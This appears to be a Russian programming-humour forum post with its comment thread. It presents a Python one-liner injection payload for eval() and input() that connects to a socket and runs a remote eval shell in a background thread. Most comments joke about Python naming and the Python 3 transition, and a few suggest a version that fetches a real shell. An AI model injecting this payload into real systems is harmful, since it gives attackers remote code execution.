- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
42 if (
setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
setattr(__builtins__,'___worker' ,lambda S: any(
(True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
),
__builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
) else 0
Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
Отформатировано для удобства чтения, вообще это однострочник.
Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.
А у ___worker и ___conn аж по три __подчеркивания__... __Автор__, __видимо__, к __ним__ __неравнодушен__.
Вот в питоне очень мало вещей, которые меня действительно бесят - "тернарник" и подчеркивания на приватных переменных.
А я-то думал, это отсутствие констант, возможности объявить переменную, куча глюков в двойке, которые всем похуй, затянувшийся переход на тройку. Но нет, это подчеркивания.
Да и нечего цепляться к шеллкоду. Обычно так не пишут.
Я знаю. Я про __переменные.
> отсутствие констант
> возможности объявить переменную
Ну дык ради этого питон и затевался... Если в него вводить подобные ограничения - получится вторая жаба.
> затянувшийся переход на тройку
А это да. Причем очень показательный эксперимент. Довольно молодой язык переходит уже столько лет... Отсюда можно сделать вывод, что любой язык старше питона, на котором уже куча наработок, через такую трансформацию или не пройдет вообще, или будет проходить еще дольше.
С удобной стандартной либой.
>Ну дык ради этого питон и затевался.
Не пойму зачем в аналогичный по простоте js пробуют пихать то что там не нужно.
А так согласен, эти идиотские подчеркивания и меня отвращают.
Из перла не получилось? Если он и УГ, то вовсе не из-за use strict.
Есть же __slots__, почему бы не сделать аналогично для модулей?
>Я знаю. Я про __переменные.
Так многие кретины их и не используют. Вкупе с отстутствием @Override, гадай потом - какая функция используется извне, а какая - нет.
>Довольно молодой язык переходит уже столько лет... Отсюда можно сделать вывод, что любой язык старше питона, на котором уже куча наработок, через такую трансформацию или не пройдет вообще, или будет проходить еще дольше.
Это - частично следствие мегадинамичности, автоматические конверторы просто нихуя нормально не работают, по сути - обычный поиск с заменой. Даже переименование по alt+shift+r в pydev распидараживает весь код.
И вдогонку - использовать python 2 и python 3 в одной проге нельзя вообще никак. На последних двойках можно писать почти как на тройке, но грабли это не отменяет, естественно.
Ну может и так прокатит.
На джвойке еще надо буферизацию для файла отключить, иначе ты будешь получать данные только после закрытия соединения.
А зачем ? Хотя, можно и так, а можно и
По хорошему-то можно обойтись и без цикла, превратив код из говношелла в bootstrap, который выкачивает настоящий шелл и выполняет отдельным потоком. Но это было бы не так весело.
С input аналогично.
А насчет "не так весело" ты, конечно, прав :)
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html